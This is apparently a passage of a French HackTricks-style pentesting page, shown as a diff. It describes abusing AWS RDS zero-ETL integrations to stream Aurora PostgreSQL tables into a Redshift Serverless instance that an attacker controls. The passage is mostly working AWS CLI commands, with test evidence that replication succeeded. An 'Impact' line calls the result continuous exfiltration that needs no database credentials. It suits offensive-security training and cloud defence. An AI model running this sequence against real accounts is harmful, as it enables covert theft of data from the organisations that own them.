+3) Créer un cluster Aurora PostgreSQL (activer Data API et réplication logique) +```bash +CLUSTER_ID=aurora-ztl +aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--engine aurora-postgresql --engine-version 16.4 \ +--master-username postgres --master-user-password 'InitPwd-1!' \ +--enable-http-endpoint --no-deletion-protection --backup-retention-period 1 +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +# Serverless v2 instance +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately +aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ +--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID +aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +# Cluster parameter group for zero‑ETL +aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ +--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" +aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ +ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ +ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ +ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ +ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately +aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) +``` +
+ +
+4) Créer l'intégration zero‑ETL depuis RDS +```bash +# Include all tables in the default 'postgres' database +aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ +--target-arn "$RS_NS_ARN" --integration-name ztl-demo \ +--data-filter 'include: postgres.*.*' +# Redshift inbound integration should become ACTIVE +aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" +``` +
+ +
+5) Matérialiser et interroger des données répliquées dans Redshift +```bash +# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ +--sql "select integration_id from svv_integration" # take the GUID value +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ +--sql "create database ztl_db from integration '' database postgres" +# List tables replicated +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ +--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" +``` +
+ +Preuves observées lors du test: +- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... +- SVV_INTEGRATION a montré integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et état PendingDbConnectState avant la création de la DB. +- Après CREATE DATABASE FROM INTEGRATION, l'affichage des tables a révélé le schéma ztl et la table customers ; une requête sur ztl.customers a renvoyé 2 lignes (Alice, Bob). + +Impact : Exfiltration continue quasi‑temps réel de tables Aurora PostgreSQL sélectionnées vers Redshift Serverless contrôlé par l'attaquant, sans utiliser les identifiants de base de données, les backups, ou l'accès réseau au cluster source. + + {{#include ../../../banners/hacktricks-training.md}}